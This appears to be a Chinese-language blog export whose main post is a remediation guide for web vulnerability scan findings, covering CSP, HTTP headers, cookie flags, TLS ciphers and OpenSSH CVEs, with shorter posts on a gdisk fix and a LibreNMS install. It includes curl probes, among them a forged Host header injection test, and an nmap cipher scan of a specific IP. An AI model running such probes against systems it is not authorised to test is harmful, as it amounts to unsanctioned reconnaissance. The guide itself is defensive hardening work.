收集一段時間的違規報告後，分析報告內容，看看是哪些你網站正常需要的資源被擋到了。根據這些報告，逐步修改你的 CSP 政策，把這些遺漏的合法來源加到你的允許清單裡。 重複步驟 2 \u0026amp; 3： 持續在 Report-Only 模式下收集報告、分析、調整政策，直到報告中不再出現你網站正常功能所需的資源被擋的狀況。 切換到強制執行模式： 當你對 CSP 政策非常有信心，確定它不會誤擋正常資源後，就可以把 Content-Security-Policy-Report-Only Header 換成 Content-Security-Policy Header，正式啟用 CSP 的保護功能了！ 設計與檢測的好幫手 (工具) # 在上面這個過程中，工具有非常重要的角色：\n檢測設計工具：CSP Evaluator (https://csp-evaluator.withgoogle.com/)\n功用： 這工具就像你的「政策草稿檢測器」。在你還沒實際部署到網站上之前，你可以把你腦中或寫好的 CSP 政策字串丟進去。 它會幫你： 檢查你的 CSP 語法有沒有寫錯？你設定的哪些規則是比較弱的、可能有風險？（它會給一些安全建議）。 使用時機： 在你設計或修改政策草稿時，先用它來檢查語法和初步的安全性，減少部署後才發現語法錯誤或根本沒達到保護效果的機會。 實際網站 CSP 檢測工具：Chrome Extension CSP Evaluator (https://chromewebstore.google.com/detail/csp-evaluator/fjohamlofnakbnbfjkohkbdigoodcejf?hl=en-US)\n功用： 這是一個瀏覽器擴充功能，當你瀏覽一個網頁時，它會自動偵測這個網站的 HTTP Header 中有沒有設定 CSP。 它會幫你： 直接抓取當前網站「正在使用」的 CSP 政策，並進行分析，告訴你這個網站的 CSP 設定長什麼樣子、有哪些規則、安全強度如何等等。 使用時機： 當你想查看別的網站用了什麼 CSP 政策參考一下，或是當你已經把 CSP 部署到你的測試或正式環境後，用它來確認你的 CSP Header 有沒有正確送出、政策內容是不是對的。同時，配合瀏覽器的開發者工具 (Developer Console) 來看 CSP 的 Violation 錯誤訊息，也是排查問題時非常重要的步驟！開發者工具會明確告訴你「哪個資源因為違反了哪條 CSP 規則而被擋下來」。 大挑戰 # CSP 強大歸強大，但設定起來確實是個挑戰，特別是對於老舊或引用資源複雜的網站：\n容易誤擋： 如果你的允許清單沒列完整，正常的網站功能可能就會壞掉。 需要熟悉網站結構： 你必須很清楚你的網站到底從哪裡載入了什麼東西。 維護成本： 網站改版、加入新的第三方服務時，常常需要回頭更新 CSP 政策。 總結：\n設計 CSP 的核心觀念是「預設拒絕，只允許信任的來源」。設定時請務必從「Report-Only 模式」開始，收集報告、逐步調整政策，最後再切換成強制執行。搭配 CSP Evaluator (線上的) 來檢查政策草稿的語法和基本安全，以及 Chrome Extension CSP Evaluator (瀏覽器內的) 和開發者工具來檢查實際部署的狀況和排查問題，這樣就能一步一步搞定這個「大魔王」囉！\n剛開始學 CSP 會覺得規則很多很亂是正常的，不用太緊張，多查資料、多練習設定和看違規報告，慢慢就會越來越熟悉了！\n弱點名稱: 應用程式中找到不必要的 HTTP 回應標頭 # 處理前自我檢測 # 1 curl -IsL https://example.com/example/assets/front-c4f19b086c52c5bccc6b14a04de0f367.js | grep -i server 1 2 user01@example:~$ curl -IsL https://example.com/example/assets/front-c4f19b086c52c5bccc6b14a04de0f367.js | grep -i server Server: Apache-Coyote/1.1 處理方式 # 設定 覆載平衡 移除 http headers 裡的 server info 1 curl -IsLk https://127.0.0.1/example/ | grep -i -E \u0026#34;Cache-Control|Pragma\u0026#34; 1 2 http-response set-header Cache-Control no-store http-response set-header Pragma no-cache 弱點名稱: 已啟用不安全的 \u0026ldquo;OPTIONS\u0026rdquo; HTTP 方法 # 修補方式: 設定負載平衡 1 2 3 if ($request_method ~* OPTIONS) { return 403; } 檢測方式 http stats code 不應該為 200\n1 curl -IsLk -w \u0026#34;%{http_code}\\n\u0026#34; -X OPTIONS -o /dev/null https://\u0026lt;domain-name\u0026gt;/ 修補方式可參考: https://www.cnblogs.com/miracle-luna/p/14274395.html\n弱點名稱: 主機標頭注入 # 修補方式: 設定負載平衡 檢測方式 http stats code 不應該為 200\n1 curl -IsLk -w \u0026#34;%{http_code}\\n\u0026#34; -o /dev/null https://example.com/ --header \u0026#39;Host: wwww.google.com\u0026#39; 弱點名稱: 遺漏「Content-Security-Policy」標頭 # 修補方式: 設定負載平衡\n檢測方式\n結果應該為 1 以上\n1 curl -IsLk https://example.com/ | grep -i Content-Security-Policy | wc -l 弱點名稱:「Content-Security-Policy」中遺漏或包含不安全的「Style-src」或「Default-src」原則 # 處理前自我檢測 # 1 curl -IsL https://example.com/ | grep -i -E \u0026#34;Content-Security-Policy\u0026#34; 1 2 user01@example:~$ curl -IsL https://example.com/ | grep -i -E \u0026#34;Content-Security-Policy\u0026#34; Content-Security-Policy: script-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;strict-dynamic\u0026#39; \u0026#39;nonce-15d6c15b0f00a08\u0026#39; https://example.com https://example.com https://www.google-analytics.com ;object-src \u0026#39;none\u0026#39;;base-uri \u0026#39;none\u0026#39;; 處理方式 # Content-Security-Policy 新增 style-src, default-src 修補說明 # 設定 conf.d/* Content-Security-Policy 值 新增 style-src, default-src 1 2 3 [root@example nginx]# grep Content-Security-Policy conf.d/* conf.d/ssl.conf: add_header Content-Security-Policy \u0026#34;script-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;strict-dynamic\u0026#39; \u0026#39;nonce-15d6c15b0f00a08\u0026#39; https://example.com https://example.com https://www.google-analytics.com ;object-src \u0026#39;none\u0026#39;;base-uri \u0026#39;none\u0026#39;; frame-ancestors \u0026#39;none\u0026#39;; default-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;self\u0026#39; https://example.com https://example.com https://www.google-analytics.com; style-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;self\u0026#39;; \u0026#34;; ; 修補後自行檢測結果 1 2 [root@example nginx]# curl -IsL https://example.com/ | grep -i -E \u0026#34;Content-Security-Policy\u0026#34; Content-Security-Policy: script-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;strict-dynamic\u0026#39; \u0026#39;nonce-15d6c15b0f00a08\u0026#39; https://example.com https://example.com https://www.google-analytics.com ;object-src \u0026#39;none\u0026#39;;base-uri \u0026#39;none\u0026#39;; frame-ancestors \u0026#39;none\u0026#39;; default-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;self\u0026#39; https://example.com https://example.com https://www.google-analytics.com; style-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;self\u0026#39;; 弱點名稱: 「Content-Security-Policy」標頭中遺漏或包含不安全的「Frame-Ancestors」原則 # 處理前自我檢測 # 1 curl -IsL https://example.com/ | grep -i -E \u0026#34;Content-Security-Policy\u0026#34; 1 2 user01@example:~$ curl -IsL https://example.com/ | grep -i -E \u0026#34;Content-Security-Policy\u0026#34; Content-Security-Policy: script-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;strict-dynamic\u0026#39; \u0026#39;nonce-15d6c15b0f00a08\u0026#39; https://example.com https://example.com https://www.google-analytics.com ;object-src \u0026#39;none\u0026#39;;base-uri \u0026#39;none\u0026#39;; 處理方式 # Content-Security-Policy 新增 frame-ancestors 修補說明 # 設定 conf.d/* Content-Security-Policy 值 新增 frame-ancestors 1 2 [root@example nginx]# grep Content-Security-Policy conf.d/* conf.d/ssl.conf: add_header Content-Security-Policy \u0026#34;script-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;strict-dynamic\u0026#39; \u0026#39;nonce-15d6c15b0f00a08\u0026#39; https://example.com https://example.com https://www.google-analytics.com ;object-src \u0026#39;none\u0026#39;;base-uri \u0026#39;none\u0026#39;; frame-ancestors \u0026#39;none\u0026#39;;\u0026#34;; 修補後自行檢測結果 1 2 [root@example nginx]# curl -IsL https://example.com/ | grep -i -E \u0026#34;Content-Security-Policy\u0026#34; Content-Security-Policy: script-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;strict-dynamic\u0026#39; \u0026#39;nonce-15d6c15b0f00a08\u0026#39; https://example.com https://example.com https://www.google-analytics.com ;object-src \u0026#39;none\u0026#39;;base-uri \u0026#39;none\u0026#39;; frame-ancestors \u0026#39;none\u0026#39;; 弱點名稱: 遺漏或不安全的 HTTP Strict-Transport-Security 標頭 # 處理前自我檢測 # 1 curl -IsL https://example.com/example/ | grep -i -E \u0026#34;Strict-Transport-Security\u0026#34; 1 user01@example:~/Downloads$ curl -IsL https://example.com/example/ | grep -i -E \u0026#34;Strict-Transport-Security\u0026#34; 處理方式 # http header 設定 Strict-Transport-Security 值為 max-age=63072000 。 修補說明 # 設定 Strict-Transport-Security\nconf.d/* 設定 add_header Strict-Transport-Security \u0026quot;max-age=63072000; includeSubdomains; preload\u0026quot;; ，結果如下\n1 2 3 4 [root@example nginx]# grep Strict-Transport-Security conf.d/* conf.d/default.conf: add_header Strict-Transport-Security \u0026#34;max-age=63072000; includeSubdomains; preload\u0026#34;; conf.d/ssl.conf: add_header Strict-Transport-Security \u0026#34;max-age=63072000; includeSubdomains; preload\u0026#34;; conf.d/ssl.conf: add_header Strict-Transport-Security \u0026#34;max-age=63072000; includeSubdomains; preload\u0026#34;; 設定完成後檢視 # 1 2 3 conf.d/ssl.conf: add_header Strict-Transport-Security \u0026#34;max-age=63072000; includeSubdomains; preload\u0026#34;; [root@example nginx]# curl -IsLk https://127.0.0.1/example/ | grep -i -E \u0026#34;Strict-Transport-Security\u0026#34; Strict-Transport-Security: max-age=63072000; includeSubdomains; preload 弱點名稱: 遺漏或不安全的 \u0026ldquo;X-Content-Type-Options\u0026rdquo; 標頭 # 處理前自我檢測 # 1 curl -IsL https://example.com/ | grep -i -E \u0026#34;X-Content-Type-Options\u0026#34; 1 2 user01@example:~$ curl -IsL https://example.com/ | grep -i -E \u0026#34;X-Content-Type-Options\u0026#34; X-Content-Type-Options: nosniff 處理方式 # https://example.com/ http header 有設定 X-Content-Type-Options 值為 nosniff 。\n弱點名稱: 找到可快取的 SSL 頁面 # 修補方式: 設定負載平衡 檢測方式 SSL 頁面標頭中使用 \u0026ldquo;Cache-Control: no-store\u0026rdquo; 及 \u0026ldquo;Pragma: no-cache\u0026rdquo;\n1 for i in {https://example.com/example/auth/login,https://example.com/example/js/sweetalert2/sweetalert2.min.js,https://example.com/example/js/sweetalert2/promise.min.js,https://example.com/example/assets/WebSpeech-ef1e4f573656f6f33bd00370453ffd6c.js,https://example.com/example/simpleCaptcha/getSolution2}; do echo -n \u0026#34;${i} - \u0026#34; \u0026amp;\u0026amp; curl -IsL \u0026#34;${i}\u0026#34; | grep -i -E \u0026#34;Cache-Control|Pragma\u0026#34;; done 處理前自我檢測 # 1 for i in {https://example.com/example/assets/application-a53c36b9cbeef95a995660603cf2ef83.js,https://example.com/example/example/newsPaperFilter,https://example.com/example/example/familyFilter,https://example.com/example/example/activityFilter}; do echo -n \u0026#34;${i} - \u0026#34; \u0026amp;\u0026amp; curl -IsL \u0026#34;${i}\u0026#34; | grep -i -E \u0026#34;Cache-Control|Pragma\u0026#34;; done 1 2 3 4 5 user01@example:~$ for i in {https://example.com/example/assets/application-a53c36b9cbeef95a995660603cf2ef83.js,https://example.com/example/example/newsPaperFilter,https://example.com/example/example/familyFilter,https://example.com/example/example/activityFilter}; do echo -n \u0026#34;${i} - \u0026#34; \u0026amp;\u0026amp; curl -IsL \u0026#34;${i}\u0026#34; | grep -i -E \u0026#34;Cache-Control\u0026#34;; done https://example.com/example/assets/application-a53c36b9cbeef95a995660603cf2ef83.js - Cache-Control: public, max-age=31536000 https://example.com/example/example/newsPaperFilter - https://example.com/example/example/familyFilter - https://example.com/example/example/activityFilter - 處理方式 # http header 設定 \u0026ldquo;Cache-Control:no-store\u0026rdquo; 及 \u0026ldquo;Pragma:no-cache\u0026rdquo; 修補說明 # 設定 conf.d/* \u0026ldquo;Cache-Control:no-store\u0026rdquo; 及 \u0026ldquo;Pragma:no-cache\u0026rdquo; 1 2 3 [root@example nginx]# grep -E \u0026#34;Cache-Control|Pragma\u0026#34; conf.d/* conf.d/ssl.conf: add_header Cache-Control no-store; conf.d/ssl.conf: add_header Pragma no-cache; 弱點名稱: 查詢中接受了 Body 參數 # GET 與 POST 回傳資料應 一樣\n修補方式: 修改程式 檢測方式 GET 與 POST 回傳資料應 要不一樣\n1 2 curl -s -X GET https://example.com/example/simpleCaptcha/playVoice?date=1717646496161 | wc -l curl -s -X POST -F \u0026#39;date=1717646496161\u0026#39; https://example.com/example/simpleCaptcha/playVoice | wc -l 弱點名稱: 應用程式中找到不必要的 HTTP 回應標頭 # 處理前自我檢測 # 1 curl -IsL https://example.com/ | grep -i server 1 2 3 user01@example:~$ curl -IsL https://example.com/ | grep -i server Server: nginx/1.21.4 Server: nginx/1.21.4 處理方式 # nginx 設定 server_tokens off; 修補說明 # 設定 nginx 禁止 niginx 顯示版本號 1 2 3 4 [root@example nginx]# grep server_tokens conf.d/* conf.d/default.conf: server_tokens off; conf.d/ssl.conf: server_tokens off; [root@example nginx]# 1 2 [root@example nginx]# curl -IsL https://example.com/example/amcharts/amcharts.js | grep nginx Server: nginx 相關資訊 # headers-more-nginx-module 漏洞類別 - Cookie # 以下漏洞通常可以透過設定 Cookie 屬性 完成漏洞修補\n弱點名稱: 在階段作業 Cookie 中遺漏 HttpOnly 屬性 # 修補方式: 設定負載平衡 修改程式，Cookie name 移除關鍵字: session 檢測方式 結果應該為 0\n1 curl -IsLk https://example.com/ | grep -i -E \u0026#34;session\u0026#34; | grep -v -e \u0026#34;HttpOnly\u0026#34; | wc -l 弱點名稱: SameSite 屬性不安全、不適當或遺漏的 Cookie # 修補方式: 設定負載平衡\n檢測方式\n最終結果是要空白\n1 curl -IsL https://example.com/ | grep -i -E \u0026#34;JSESSIONID|route|u_labor|sessionExpiry_labor|kick_labor|clientTimeOffset_labor\u0026#34; | grep -v -e \u0026#34;SameSite=Lax\u0026#34; | wc -l 漏洞類別 - 加密演算法 # 弱點名稱: 加密的階段作業 (SSL) Cookie 中遺漏安全屬性 # 修補方式: 設定負載平衡\n/etc/nginx/conf.d/*\n1 set_cookie_flag * secure; 檢測方式 1 curl -IsL https://\u0026lt;domain-name\u0026gt;/ | grep -i -E \u0026#34;\u0026lt;cookie name\u0026gt;\u0026#34; | grep -v -e \u0026#34;secure\u0026#34; 常見的漏洞-SSL 加密演算法 # 以下漏洞通常可以透過設定 系統傳輸加密 完成漏洞修補\n設定中的大魔王: SSL 加密演算法 # 去年最安全的演算加密方式，今年最危險的演算加密方式。這個弱點每年都會遇到\n檢查 SSL 當前網站加密方是安全難以破解的網站 Ciphersuite Info 通用安全的配置 - Cipherlist.eu Strong Ciphers for Apache, nginx and Lighttpd 依據系統架構配置最合適的SSL - moz://a SSL Configuration Generator 沒辦法中的辦法: 研究 SSL 加密演算法 弱點名稱: 低強度密碼組合 - ROBOT 攻擊：伺服器支援有漏洞的密碼組合 # 修補方式: 設定負載平衡\n設定文件: /etc/nginx/nginx.conf\n1 ssl_ciphers EECDH+AESGCM:EDH+AESGCM; check 1 nmap -script ssl-cert,ssl-enum-ciphers -p 443 203.65.98.200 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ❯ cat check-list.txt | while read line; do echo -n \u0026#34;${line}:\u0026#34; \u0026amp;\u0026amp; curl -s \u0026#34;https://ciphersuite.info/api/cs/${line}/\u0026#34; | jq \u0026#34;.${line}.security\u0026#34; ; done TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:\u0026#34;secure\u0026#34; TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256:\u0026#34;weak\u0026#34; TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:\u0026#34;secure\u0026#34; TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_128_GCM_SHA256:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_128_CBC_SHA256:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_256_GCM_SHA384:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_256_CBC_SHA256:\u0026#34;weak\u0026#34; TLS_RSA_WITH_CAMELLIA_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_CAMELLIA_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_128_CBC_SHA256:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_256_CBC_SHA256:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_CAMELLIA_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_CAMELLIA_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_AES_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_CAMELLIA_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_RSA_WITH_CAMELLIA_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_AES_256_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA:\u0026#34;weak\u0026#34; TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA:\u0026#34;weak\u0026#34; 處理方式 # 設定 nginx TLS 加密演算法，需要特別注意介接功能，例如: 信用卡網頁完成後要回call 的功能 弱點名稱: 支援較早的 TLS 版本 # 發現伺服器支援較早版本的 TLS （TLSv1.0 或 TLSv1.1）,改用TLSv1.2\n修補方式: 移除 TLSv1.0 或 TLSv1.1，移除需要特別注意介接功能，例如: 信用卡網頁完成後要回call 的功能 弱點名稱: 偵測到 SHA-1 密碼組合 # 修補方式: 移除 SHA-1 加密方式，移除需要特別注意介接功能，例如: 信用卡網頁完成後要回call 的功能 漏洞類別 - 網頁內文 # 以下漏洞通常可以透過 網頁內容修改 完成漏洞修補\n弱點名稱: SQL Injection # 弱點名稱: XSS (Cross-Site Scripting) # Cross Site Scripting (XSS): 所謂XSS泛指惡意攻擊者在Web網頁上插入惡意html代碼，以達到特殊目的（控制網站元素、取走cookies）。\n修補方式: 設定 修改程式 、建置WAF 檢測方式 各式 XSS 漏洞樣太 - https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#onafterscriptexecute XSS (Cross-Site Scripting) 跨站腳本攻擊簡介和實作 XSS Challenges 弱點名稱: 不安全的第三方鏈結 (target=\u0026quot;_blank\u0026quot;) # 修補方式: 修改程式 檢測方式 最終目標是 0\n1 for i in {https://url1, https://url2 , ... , https://urlN } ; do echo -n \u0026#34;${i} had \u0026#34; \u0026amp;\u0026amp; curl -s ${i} | grep -e \u0026#34;target=\\\u0026#34;_blank\\\u0026#34;\u0026#34; | grep -v -e \u0026#34;noopener\u0026#34; | grep -v -e \u0026#34;noreferrer\u0026#34; | wc -l ; done 處理方式 # 針對「target=\u0026quot;_blank\u0026quot;」新增元素「rel=\u0026ldquo;noopener noreferrer\u0026rdquo;」 弱點名稱: 檢查是否有 SRI（子資源完整性）支援 # 修補方式: 修改程式，部份頁面可能需要進資料庫修改內容 針對有讀取外部js資源 新增 integrity 屬性 需要請維護的承辦修改網站內容 檢測方式 最終目標是 0\n1 for i in {https://url1, https://url2 , ... , https://urlN } ; do echo -n \u0026#34;${i} had \u0026#34; \u0026amp;\u0026amp; curl -s ${i} | grep \u0026#34;\u0026lt;script\u0026#34; | grep \u0026#34;http\u0026#34; | grep -v -E \u0026#34;crossorigin\u0026#34; | wc -l ; done 弱點名稱: 未停用密碼欄位的自動完成 HTML 屬性 # 修補方式: 修改程式 密碼欄位新增屬性: autocomplete=\u0026ldquo;off\u0026rdquo;\n檢測方式 1 curl -s https://example.com/example/home/register | grep \u0026#34;type=\\\u0026#34;password\\\u0026#34;\u0026#34; | grep -v \u0026#34;autocomplete=\\\u0026#34;off\\\u0026#34;\u0026#34; 以下為檢測出的結果\n1 2 3 user01@example:~/Downloads$ curl -s https://example.com/example/home/register | grep \u0026#34;type=\\\u0026#34;password\\\u0026#34;\u0026#34; | grep -v \u0026#34;autocomplete=\\\u0026#34;off\\\u0026#34;\u0026#34; \u0026lt;input class=\u0026#34;form-control\u0026#34; name=\u0026#34;user.password\u0026#34; id=\u0026#34;user.password\u0026#34; type=\u0026#34;password\u0026#34; placeholder=\u0026#34;密碼(需含英數，長度6碼以上)\u0026#34; required\u0026gt; \u0026lt;input class=\u0026#34;form-control\u0026#34; name=\u0026#34;user.repeatPassword\u0026#34; id=\u0026#34;user.repeatPassword\u0026#34; type=\u0026#34;password\u0026#34; placeholder=\u0026#34;確認密碼(需含英數，長度6碼以上)\u0026#34; required 弱點名稱: 有漏洞的元件 # 相關資訊 # jquery 歷史版本 漏洞類別 - OpenSSH # OpenSSH CVE # CVE-2023-48795: SSH Terrapin Prefix Truncation Weakness CVE-2025-26465 CVE-2025-26466 弱點名稱: OpenSSH CVE-2023-48795 # SSH Terrapin Prefix Truncation Weakness (CVE-2023-48795) 修補說明 # 更新 ssh-server 1 dnf update openssh-server 依照官方說明修補: https://access.redhat.com/security/cve/cve-2023-48795 新增文件內容 /etc/crypto-policies/policies/modules/CVE-2023-48795.pmod\n1 2 cipher@SSH = -CHACHA20-POLY1305 ssh_etm = 0 執行更新\n1 2 sudo cat -v /etc/crypto-policies/policies/modules/CVE-2023-48795.pmod sudo update-crypto-policies --set $(update-crypto-policies --show):CVE-2023-48795 處理結果 1 2 3 4 5 6 7 8 [root@example ~]# cat -v /etc/crypto-policies/policies/modules/CVE-2023-48795.pmod cipher@SSH = -CHACHA20-POLY1305 ssh_etm = 0 [root@example ~]# sudo update-crypto-policies --set $(update-crypto-policies --show):CVE-2023-48795 Setting system policy to DEFAULT:CVE-2023-48795 Note: System-wide crypto policies are applied on application start-up. It is recommended to restart the system for the change of policies to fully take place. 弱點名稱 OpenSSH \u0026lt; 7.2p2 X11Forwarding xauth 命令插入 # 修補說明 # 關閉 X11 forwarding 1 grep X11Forwarding /etc/ssh/sshd_config 處理結果\n1 2 3 4 5 6 [root@example ~]# service sshd restart Stopping sshd: [ OK ] Starting sshd: [ OK ] [root@example ~]# grep X11Forwarding /etc/ssh/sshd_config X11Forwarding no # X11Forwarding no 參考資料 # portswigger.net: 這個網站可以讓你多知道系統漏洞的原因 XSS (Cross-Site Scripting) 跨站腳本攻擊簡介和實作 HCL AppScan(原名：IBM AppScan) 安全漏洞問題修復，查詢中接受了 Body 參數 ","date":"February 10, 2025","externalUrl":null,"permalink":"/worknot/remediating-vulnerabilities/","section":"Worknots","summary":"漏洞類別 - header # 以下漏洞通常可以透過設定 http header 完成漏洞修補\n設定：Content Security Policy (CSP) # 學長姐跟你說，在網站的資安設定裡，CSP 絕對是個狠角色，也是保護使用者非常重要的一道防線。雖然設定起來有點複雜，但學會了超有成就感！\n","title":"修補漏洞","type":"worknot"},{"content":"","date":"February 10, 2025","externalUrl":null,"permalink":"/tags/%E6%BC%8F%E6%B4%9E/","section":"Tags","summary":"","title":"漏洞","type":"tags"},{"content":"今天在實驗室中擴充一顆虛擬硬碟到 150 G，原先是 50G。但是不管是重新開機都無法識別。\n後來發現 GPT 分割表未更新，如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 root@moniter:~# fdisk -l /dev/sda GPT PMBR size mismatch (104857599 != 314572799) will be corrected by write. The backup GPT table is not on the end of the device. Disk /dev/sda: 150 GiB, 161061273600 bytes, 314572800 sectors Disk model: QEMU HARDDISK Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: 7F238892-1C86-461A-8E79-62365FFA4746 Device Start End Sectors Size Type /dev/sda1 2048 104855551 104853504 50G Linux filesystem 以下是處理方式\n1 2 3 4 gdisk /dev/sda x # 進入 expert mode e # 修正 GPT 表到磁碟正確大小 w # 寫入變更並退出 以下是處理過程\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 root@moniter:~# gdisk /dev/sda GPT fdisk (gdisk) version 1.0.9 Partition table scan: MBR: protective BSD: not present APM: not present GPT: present Found valid GPT with protective MBR; using GPT. Command (? for help): x Expert command (? for help): e Relocating backup data structures to the end of the disk Expert command (? for help): w Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING PARTITIONS!! Do you want to proceed? (Y/N): y OK; writing new GUID partition table (GPT) to /dev/sda. Warning: The kernel is still using the old partition table. The new table will be used at the next reboot or after you run partprobe(8) or kpartx(8) The operation has completed successfully. root@moniter:~# fdisk -l /dev/sda 以下是處理結果\n1 2 3 4 5 6 7 8 9 10 11 root@moniter:~# fdisk -l /dev/sda Disk /dev/sda: 150 GiB, 161061273600 bytes, 314572800 sectors Disk model: QEMU HARDDISK Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: 7F238892-1C86-461A-8E79-62365FFA4746 Device Start End Sectors Size Type /dev/sda1 2048 104855551 104853504 50G Linux filesystem ","date":"February 6, 2025","externalUrl":null,"permalink":"/worknot/linux-gdisk-error/","section":"Worknots","summary":"今天在實驗室中擴充一顆虛擬硬碟到 150 G，原先是 50G。但是不管是重新開機都無法識別。\n後來發現 GPT 分割表未更新，如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 root@moniter:~# fdisk -l /dev/sda GPT PMBR size mismatch (104857599 != 314572799) will be corrected by write. The backup GPT table is not on the end of the device. Disk /dev/sda: 150 GiB, 161061273600 bytes, 314572800 sectors Disk model: QEMU HARDDISK Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: 7F238892-1C86-461A-8E79-62365FFA4746 Device Start End Sectors Size Type /dev/sda1 2048 104855551 104853504 50G Linux filesystem 以下是處理方式\n","title":"Linux Gdisk Error","type":"worknot"},{"content":"","date":"February 2, 2025","externalUrl":null,"permalink":"/categories/home-lab/","section":"Categories","summary":"","title":"Home Lab","type":"categories"},{"content":"","date":"February 2, 2025","externalUrl":null,"permalink":"/tags/ldap/","section":"Tags","summary":"","title":"LDAP","type":"tags"},{"content":"","date":"February 2, 2025","externalUrl":null,"permalink":"/tags/librenms/","section":"Tags","summary":"","title":"LibreNMS","type":"tags"},{"content":" 部署環境 # OS: Debian12 CPU: 2 Sockets, 2 Cores RAM: 6G Database: MariaDB: 11.4 System Requirement # LibreNMS CPU: 2 Sockets, 4 Cores Memory: 2G Disk Type: Raid 1, SSD Disk Space: 18GB Devices: 20 Ports: 133 Health sensors: 47 Load: \u0026lt; 0.1 MySQL CPU: 1 Socket, 2 Cores Memory: 2G Disk Type: Raid 1, SSD Disk Space: 30GB Load: \u0026lt; 0.1 安裝前準被 # librenms Domain : moniter.home.pollochang.work librenms web server Admin User 帳號: polloadmin Admin User 密碼: password Admin User Email: email@example.com 資料庫 資料庫名稱: librenms 帳號: librenms 密碼: password 安裝步驟 # 安裝資料庫 # MariaDB Server 1 2 3 4 sudo apt -y install apt-transport-https curl gnupg gnupg2 sudo mkdir -p /etc/apt/keyrings sudo curl -o /etc/apt/keyrings/mariadb-keyring.pgp \u0026#39;https://mariadb.org/mariadb_release_signing_key.pgp\u0026#39; chmod 0644 /etc/apt/keyrings/mariadb-keyring.pgp 設定文件: /etc/apt/sources.list.d/mariadb.sources 1 2 3 4 5 6 7 8 9 10 # MariaDB 11.4 repository list - created 2023-11-20 07:47 UTC # https://mariadb.org/download/ X-Repolib-Name: MariaDB Types: deb # deb.mariadb.org is a dynamic mirror if your preferred mirror goes offline. See https://mariadb.org/mirrorbits/ for details. # URIs: https://deb.mariadb.org/11.4/debian URIs: https://mirrors.aliyun.com/mariadb/repo/11.4/debian Suites: bookworm Components: main 